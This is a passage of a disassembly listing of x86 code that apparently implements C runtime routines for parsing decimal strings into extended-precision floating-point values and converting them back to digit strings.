; ---------------------------------------------------------------------------


loc_431920:				; CODE XREF: sub_4312E0+D5j
					; DATA XREF: .nsp0:00431D16o
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_431944
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_431944
		mov	[ebp+var_4C], 9
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_43196E
; ---------------------------------------------------------------------------


loc_431944:				; CODE XREF: sub_4312E0+647j
					; sub_4312E0+650j
		mov	al, byte ptr [ebp+var_3C]
		mov	[ebp+var_A8], al
		cmp	[ebp+var_A8], 30h
		jz	short loc_431958
		jmp	short loc_431961
; ---------------------------------------------------------------------------


loc_431958:				; CODE XREF: sub_4312E0+674j
		mov	[ebp+var_4C], 8
		jmp	short loc_43196E
; ---------------------------------------------------------------------------


loc_431961:				; CODE XREF: sub_4312E0+676j
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_64]
		mov	[ebp+var_4], ecx


loc_43196E:				; CODE XREF: sub_4312E0+662j
					; sub_4312E0+67Fj
		jmp	loc_431AE3
; ---------------------------------------------------------------------------


loc_431973:				; CODE XREF: sub_4312E0+D5j
					; DATA XREF: .nsp0:00431D1Eo
		mov	[ebp+var_18], 1
		mov	[ebp+var_7C], 0
		jmp	short loc_431994
; ---------------------------------------------------------------------------


loc_431983:				; CODE XREF: sub_4312E0:loc_431A02j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_431994:				; CODE XREF: sub_4312E0+6A1j
		cmp	dword_4516A8, 1
		jle	short loc_4319B9
		push	4
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		push	edx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_AC], eax
		jmp	short loc_4319D6
; ---------------------------------------------------------------------------


loc_4319B9:				; CODE XREF: sub_4312E0+6BBj
		mov	eax, [ebp+var_3C]
		and	eax, 0FFh
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_AC], edx


loc_4319D6:				; CODE XREF: sub_4312E0+6D7j
		cmp	[ebp+var_AC], 0
		jz	short loc_431A07
		mov	eax, [ebp+var_7C]
		imul	eax, 0Ah
		movsx	ecx, byte ptr [ebp+var_3C]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_7C], edx
		cmp	[ebp+var_7C], 1450h
		jle	short loc_431A02
		mov	[ebp+var_7C], 1451h
		jmp	short loc_431A07
; ---------------------------------------------------------------------------


loc_431A02:				; CODE XREF: sub_4312E0+717j
		jmp	loc_431983
; ---------------------------------------------------------------------------


loc_431A07:				; CODE XREF: sub_4312E0+6FDj
					; sub_4312E0+720j
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_14], eax
		jmp	short loc_431A20
; ---------------------------------------------------------------------------


loc_431A0F:				; CODE XREF: sub_4312E0+78Bj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_431A20:				; CODE XREF: sub_4312E0+72Dj
		cmp	dword_4516A8, 1
		jle	short loc_431A45
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_B0], eax
		jmp	short loc_431A62
; ---------------------------------------------------------------------------


loc_431A45:				; CODE XREF: sub_4312E0+747j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_B0], ecx


loc_431A62:				; CODE XREF: sub_4312E0+763j
		cmp	[ebp+var_B0], 0
		jz	short loc_431A6D
		jmp	short loc_431A0F
; ---------------------------------------------------------------------------


loc_431A6D:				; CODE XREF: sub_4312E0+789j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_431AE3
; ---------------------------------------------------------------------------


loc_431A7F:				; CODE XREF: sub_4312E0+D5j
					; DATA XREF: .nsp0:00431D26o
		cmp	[ebp+arg_18], 0
		jz	short loc_431AD3
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_64], eax
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_B4], cl
		cmp	[ebp+var_B4], 2Bh
		jz	short loc_431ABB
		cmp	[ebp+var_B4], 2Dh
		jz	short loc_431AAB
		jmp	short loc_431AC4
; ---------------------------------------------------------------------------


loc_431AAB:				; CODE XREF: sub_4312E0+7C7j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_431AD1
; ---------------------------------------------------------------------------


loc_431ABB:				; CODE XREF: sub_4312E0+7BEj
		mov	[ebp+var_4C], 7
		jmp	short loc_431AD1
; ---------------------------------------------------------------------------


loc_431AC4:				; CODE XREF: sub_4312E0+7C9j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx


loc_431AD1:				; CODE XREF: sub_4312E0+7D9j
					; sub_4312E0+7E2j
		jmp	short loc_431AE3
; ---------------------------------------------------------------------------


loc_431AD3:				; CODE XREF: sub_4312E0+7A3j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_431AE3:				; CODE XREF: sub_4312E0+CCj
					; sub_4312E0+D5j ...
		jmp	loc_431387
; ---------------------------------------------------------------------------


loc_431AE8:				; CODE XREF: sub_4312E0+ABj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		cmp	[ebp+var_54], 0
		jz	loc_431C37
		cmp	[ebp+var_40], 0
		jnz	loc_431C37
		cmp	[ebp+var_78], 0
		jnz	loc_431C37
		cmp	[ebp+var_70], 18h
		jbe	short loc_431B3F
		movsx	eax, [ebp+var_21]
		cmp	eax, 5
		jl	short loc_431B26
		mov	cl, [ebp+var_21]
		add	cl, 1
		mov	[ebp+var_21], cl


loc_431B26:				; CODE XREF: sub_4312E0+83Bj
		mov	[ebp+var_70], 18h
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax


loc_431B3F:				; CODE XREF: sub_4312E0+832j
		cmp	[ebp+var_70], 0
		jbe	loc_431C1A
		mov	ecx, [ebp+var_68]
		sub	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_431B5D
; ---------------------------------------------------------------------------


loc_431B54:				; CODE XREF: sub_4312E0+899j
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx


loc_431B5D:				; CODE XREF: sub_4312E0+872j
		mov	eax, [ebp+var_68]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_431B7B
		mov	edx, [ebp+var_70]
		sub	edx, 1
		mov	[ebp+var_70], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_431B54
; ---------------------------------------------------------------------------


loc_431B7B:				; CODE XREF: sub_4312E0+885j
		lea	ecx, [ebp+var_60]
		push	ecx
		mov	edx, [ebp+var_70]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4311A0
		add	esp, 0Ch
		cmp	[ebp+var_74], 0
		jge	short loc_431B9D
		mov	ecx, [ebp+var_14]
		neg	ecx
		mov	[ebp+var_14], ecx


loc_431B9D:				; CODE XREF: sub_4312E0+8B3j
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_6C]
		mov	[ebp+var_14], edx
		cmp	[ebp+var_18], 0
		jnz	short loc_431BB5
		mov	eax, [ebp+var_14]
		add	eax, [ebp+arg_10]
		mov	[ebp+var_14], eax


loc_431BB5:				; CODE XREF: sub_4312E0+8CAj
		cmp	[ebp+var_C], 0
		jnz	short loc_431BC4
		mov	ecx, [ebp+var_14]
		sub	ecx, [ebp+arg_14]
		mov	[ebp+var_14], ecx


loc_431BC4:				; CODE XREF: sub_4312E0+8D9j
		cmp	[ebp+var_14], 1450h
		jle	short loc_431BD6
		mov	[ebp+var_40], 1
		jmp	short loc_431C18
; ---------------------------------------------------------------------------


loc_431BD6:				; CODE XREF: sub_4312E0+8EBj
		cmp	[ebp+var_14], 0FFFFEBB0h
		jge	short loc_431BE8
		mov	[ebp+var_78], 1
		jmp	short loc_431C18
; ---------------------------------------------------------------------------


loc_431BE8:				; CODE XREF: sub_4312E0+8FDj
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		lea	ecx, [ebp+var_60]
		push	ecx
		call	sub_4344A0
		add	esp, 0Ch
		mov	dx, [ebp+var_60]
		mov	[ebp+var_48], dx
		mov	eax, [ebp+var_5E]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_5A]
		mov	[ebp+var_10], ecx
		mov	dx, [ebp+var_56]
		mov	word ptr [ebp+var_50], dx


loc_431C18:				; CODE XREF: sub_4312E0+8F4j
					; sub_4312E0+906j
		jmp	short loc_431C37
; ---------------------------------------------------------------------------


loc_431C1A:				; CODE XREF: sub_4312E0+863j
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx


loc_431C37:				; CODE XREF: sub_4312E0+814j
					; sub_4312E0+81Ej ...
		cmp	[ebp+var_54], 0
		jnz	short loc_431C66
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	edx, [ebp+var_50]
		and	edx, 0FFFFh
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_44]
		or	ecx, 4
		mov	[ebp+var_44], ecx
		jmp	short loc_431CBD
; ---------------------------------------------------------------------------


loc_431C66:				; CODE XREF: sub_4312E0+95Bj
		cmp	[ebp+var_40], 0
		jz	short loc_431C91
		mov	word ptr [ebp+var_50], 7FFFh
		mov	[ebp+var_10], 80000000h
		mov	[ebp+var_8], 0
		mov	[ebp+var_48], 0
		mov	edx, [ebp+var_44]
		or	edx, 2
		mov	[ebp+var_44], edx
		jmp	short loc_431CBD
; ---------------------------------------------------------------------------


loc_431C91:				; CODE XREF: sub_4312E0+98Aj
		cmp	[ebp+var_78], 0
		jz	short loc_431CBD
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_44]
		or	edx, 1
		mov	[ebp+var_44], edx


loc_431CBD:				; CODE XREF: sub_4312E0+984j
					; sub_4312E0+9AFj ...
		mov	eax, [ebp+arg_0]
		mov	cx, [ebp+var_48]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_1C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax
		mov	eax, [ebp+var_44]
		mov	esp, ebp
		pop	ebp
		retn
sub_4312E0	endp

; ---------------------------------------------------------------------------
off_431CFA	dd offset loc_4313BC	; DATA XREF: sub_4312E0+D5r
		dd offset loc_43145A
		dd offset loc_431510
		dd offset loc_43157B
		dd offset loc_431693
		dd offset loc_4317C5
		dd offset loc_43183B
		dd offset loc_431920
		dd offset loc_4318C2
		dd offset loc_431973
		dd offset loc_431AE3
		dd offset loc_431A7F
off_431D2A	dd offset loc_4314E9	; DATA XREF: sub_4312E0+1F0r
		dd offset loc_4314D7
		dd offset loc_4314E0
		dd offset loc_4314FB
byte_431D3A	db 0			; DATA XREF: sub_4312E0+1EAr
		db 3
		dd 1030300h, 4 dup(3030303h), 2030303h,	3030302h, 6 dup(3030303h)
		dd 2030303h
		db 2
off_431D75	dd offset loc_43166C	; DATA XREF: sub_4312E0+37Cr
		dd offset loc_431663
		dd offset loc_43167E
byte_431D81	db 0			; DATA XREF: sub_4312E0+376r
		dw 2
		dd 5 dup(2020202h), 1010202h, 7	dup(2020202h), 1010202h
off_431DBC	dd offset loc_43179E	; DATA XREF: sub_4312E0+4AEr
		dd offset loc_431795
		dd offset loc_4317B0
byte_431DC8	db 0, 2, 0, 16h	dup(2),	2 dup(1), 1Eh dup(2), 2	dup(1)
					; DATA XREF: sub_4312E0+4A8r
		db 0Dh dup(0CCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	0
		push	0
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_4312E0
		add	esp, 1Ch
		mov	[ebp-14h], eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_42D950
		add	esp, 8
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_431E58
		mov	eax, [ebp-14h]
		or	al, 2
		mov	[ebp-14h], eax


loc_431E58:				; CODE XREF: .nsp0:00431E4Ej
		mov	eax, [ebp-14h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431E60	proc near		; CODE XREF: sub_42DBD0+36p

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		mov	word ptr [ebp+var_64], 4D10h
		mov	word ptr [ebp+var_3C], 4Dh
		mov	word ptr [ebp+var_60], 9Ah
		mov	[ebp+var_20], 134312F4h
		mov	[ebp+var_54], 0CCh
		mov	[ebp+var_53], 0CCh
		mov	[ebp+var_52], 0CCh
		mov	[ebp+var_51], 0CCh
		mov	[ebp+var_50], 0CCh
		mov	[ebp+var_4F], 0CCh
		mov	[ebp+var_4E], 0CCh
		mov	[ebp+var_4D], 0CCh
		mov	[ebp+var_4C], 0CCh
		mov	[ebp+var_4B], 0CCh
		mov	[ebp+var_4A], 0FBh
		mov	[ebp+var_49], 3Fh
		mov	[ebp+var_58], 1
		mov	ax, [ebp+arg_8]
		mov	word ptr [ebp+var_70], ax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_48], edx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 8000h
		mov	word ptr [ebp+var_68], ax
		mov	cx, word ptr [ebp+var_70]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_70], cx
		mov	edx, [ebp+var_68]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_431EFE
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+2], 2Dh
		jmp	short loc_431F05
; ---------------------------------------------------------------------------


loc_431EFE:				; CODE XREF: sub_431E60+93j
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h


loc_431F05:				; CODE XREF: sub_431E60+9Cj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		test	edx, edx
		jnz	short loc_431F4C
		cmp	[ebp+var_24], 0
		jnz	short loc_431F4C
		cmp	[ebp+var_48], 0
		jnz	short loc_431F4C
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 1
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+4], 30h
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+5], 0
		mov	eax, 1
		jmp	loc_432372
; ---------------------------------------------------------------------------


loc_431F4C:				; CODE XREF: sub_431E60+B0j
					; sub_431E60+B6j ...
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jnz	loc_432046
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	1
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_431F78
		cmp	[ebp+var_48], 0
		jz	short loc_431FAC


loc_431F78:				; CODE XREF: sub_431E60+110j
		mov	ecx, [ebp+var_24]
		and	ecx, 40000000h
		test	ecx, ecx
		jnz	short loc_431FAC
		push	offset dword_438DA8
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_41C300
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 6
		mov	[ebp+var_58], 0
		jmp	loc_432041
; ---------------------------------------------------------------------------


loc_431FAC:				; CODE XREF: sub_431E60+116j
					; sub_431E60+123j
		mov	ecx, [ebp+var_68]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_431FEC
		cmp	[ebp+var_24], 0C0000000h
		jnz	short loc_431FEC
		cmp	[ebp+var_48], 0
		jnz	short loc_431FEC
		push	offset dword_438DA0
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_41C300
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_432041
; ---------------------------------------------------------------------------


loc_431FEC:				; CODE XREF: sub_431E60+157j
					; sub_431E60+160j ...
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_43201F
		cmp	[ebp+var_48], 0
		jnz	short loc_43201F
		push	offset dword_438D98
		mov	ecx, [ebp+arg_14]
		add	ecx, 4
		push	ecx
		call	sub_41C300
		add	esp, 8
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_432041
; ---------------------------------------------------------------------------


loc_43201F:				; CODE XREF: sub_431E60+193j
					; sub_431E60+199j
		push	offset dword_438D90
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		call	sub_41C300
		add	esp, 8
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+3], 6
		mov	[ebp+var_58], 0


loc_432041:				; CODE XREF: sub_431E60+147j
					; sub_431E60+18Aj ...
		jmp	loc_43236F
; ---------------------------------------------------------------------------


loc_432046:				; CODE XREF: sub_431E60+FBj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		sar	edx, 8
		mov	word ptr [ebp+var_6C], dx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 0FFh
		mov	[ebp+var_C], ax
		mov	ecx, [ebp+var_24]
		shr	ecx, 18h
		mov	word ptr [ebp+var_40], cx
		mov	edx, [ebp+var_64]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		imul	edx, eax
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_6C]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		mov	ecx, [ebp+var_60]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_40]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		sub	edx, [ebp+var_20]
		mov	[ebp+var_8], edx
		mov	ecx, [ebp+var_8]
		sar	ecx, 10h
		mov	[ebp+var_5C], cx
		mov	dx, word ptr [ebp+var_70]
		mov	word ptr [ebp+var_2E], dx
		mov	eax, [ebp+var_24]
		mov	[ebp+var_32], eax
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_38+2],	ecx
		mov	word ptr [ebp+var_38], 0
		push	1
		movsx	edx, [ebp+var_5C]
		neg	edx
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4344A0
		add	esp, 0Ch
		mov	ecx, [ebp+var_2E]
		and	ecx, 0FFFFh
		cmp	ecx, 3FFFh
		jl	short loc_43211D
		mov	dx, [ebp+var_5C]
		add	dx, 1
		mov	[ebp+var_5C], dx
		lea	eax, [ebp+var_54]
		push	eax
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_434060
		add	esp, 8


loc_43211D:				; CODE XREF: sub_431E60+29Fj
		mov	edx, [ebp+arg_14]
		mov	ax, [ebp+var_5C]
		mov	[edx], ax
		mov	ecx, [ebp+arg_10]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_432171
		movsx	edx, [ebp+var_5C]
		mov	eax, [ebp+arg_C]
		add	eax, edx
		mov	[ebp+arg_C], eax
		cmp	[ebp+arg_C], 0
		jg	short loc_432171
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	loc_432372
; ---------------------------------------------------------------------------


loc_432171:				; CODE XREF: sub_431E60+2CFj
					; sub_431E60+2E1j
		cmp	[ebp+arg_C], 15h
		jle	short loc_43217E
		mov	[ebp+arg_C], 15h


loc_43217E:				; CODE XREF: sub_431E60+315j
		mov	eax, [ebp+var_2E]
		and	eax, 0FFFFh
		sub	eax, 3FFEh
		mov	[ebp+var_2E+2],	eax
		mov	word ptr [ebp+var_2E], 0
		mov	[ebp+var_44], 0
		jmp	short loc_4321A6
; ---------------------------------------------------------------------------


loc_43219D:				; CODE XREF: sub_431E60+358j
		mov	ecx, [ebp+var_44]
		add	ecx, 1
		mov	[ebp+var_44], ecx


loc_4321A6:				; CODE XREF: sub_431E60+33Bj
		cmp	[ebp+var_44], 8
		jge	short loc_4321BA
		lea	edx, [ebp+var_38]
		push	edx
		call	sub_4310D0
		add	esp, 4
		jmp	short loc_43219D
; ---------------------------------------------------------------------------


loc_4321BA:				; CODE XREF: sub_431E60+34Aj
		cmp	[ebp+var_2E+2],	0
		jge	short loc_4321EC
		mov	eax, [ebp+var_2E+2]
		neg	eax
		and	eax, 0FFh
		mov	[ebp+var_74], eax
		jmp	short loc_4321D8
; ---------------------------------------------------------------------------


loc_4321CF:				; CODE XREF: sub_431E60+38Aj
		mov	ecx, [ebp+var_74]
		sub	ecx, 1
		mov	[ebp+var_74], ecx


loc_4321D8:				; CODE XREF: sub_431E60+36Dj
		cmp	[ebp+var_74], 0
		jle	short loc_4321EC
		lea	edx, [ebp+var_38]
		push	edx
		call	sub_431130
		add	esp, 4
		jmp	short loc_4321CF
; ---------------------------------------------------------------------------


loc_4321EC:				; CODE XREF: sub_431E60+35Ej
					; sub_431E60+37Cj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_432209
; ---------------------------------------------------------------------------


loc_432200:				; CODE XREF: sub_431E60+413j
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx


loc_432209:				; CODE XREF: sub_431E60+39Ej
		cmp	[ebp+var_10], 0
		jle	short loc_432275
		mov	eax, [ebp+var_38]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp-34h]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_32+2]
		mov	[ebp+var_14], edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4310D0
		add	esp, 4
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_4310D0
		add	esp, 4
		lea	edx, [ebp+var_1C]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_431020
		add	esp, 8
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_4310D0
		add	esp, 4
		mov	edx, [ebp+var_2E+1]
		and	edx, 0FFh
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	byte ptr [ebp+var_2E+1], 0
		jmp	short loc_432200
; ---------------------------------------------------------------------------


loc_432275:				; CODE XREF: sub_431E60+3ADj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[ebp+var_28], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		movsx	eax, [ebp+var_28]
		cmp	eax, 35h
		jl	short loc_4322F3
		jmp	short loc_4322A3
; ---------------------------------------------------------------------------


loc_43229A:				; CODE XREF: sub_431E60+45Fj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_4322A3:				; CODE XREF: sub_431E60+438j
		mov	edx, [ebp+arg_14]
		add	edx, 4
		cmp	[ebp+var_4], edx
		jb	short loc_4322C1
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_4322C1
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		jmp	short loc_43229A
; ---------------------------------------------------------------------------


loc_4322C1:				; CODE XREF: sub_431E60+44Cj
					; sub_431E60+457j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_4322E5
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_14]
		mov	ax, [edx]
		add	ax, 1
		mov	ecx, [ebp+arg_14]
		mov	[ecx], ax


loc_4322E5:				; CODE XREF: sub_431E60+46Aj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		add	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_43234C
; ---------------------------------------------------------------------------


loc_4322F3:				; CODE XREF: sub_431E60+436j
		jmp	short loc_4322FE
; ---------------------------------------------------------------------------


loc_4322F5:				; CODE XREF: sub_431E60+4B4j
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_4322FE:				; CODE XREF: sub_431E60:loc_4322F3j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jb	short loc_432316
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_432316
		jmp	short loc_4322F5
; ---------------------------------------------------------------------------


loc_432316:				; CODE XREF: sub_431E60+4A7j
					; sub_431E60+4B2j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_43234C
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	short loc_432372
; ---------------------------------------------------------------------------


loc_43234C:				; CODE XREF: sub_431E60+491j
					; sub_431E60+4BFj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	ecx, [ebp+var_4]
		sub	ecx, eax
		add	ecx, 1
		mov	edx, [ebp+arg_14]
		mov	[edx+3], cl
		mov	eax, [ebp+arg_14]
		movsx	ecx, byte ptr [eax+3]
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+ecx+4], 0


loc_43236F:				; CODE XREF: sub_431E60:loc_432041j
		mov	eax, [ebp+var_58]


loc_432372:				; CODE XREF: sub_431E60+E7j
					; sub_431E60+30Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_431E60	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Ch
		call	sub_41FB40
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_4323B0
		add	esp, 4
		mov	[ebp-4], eax
		push	0Ch
		call	sub_41FBE0
		add	esp, 4
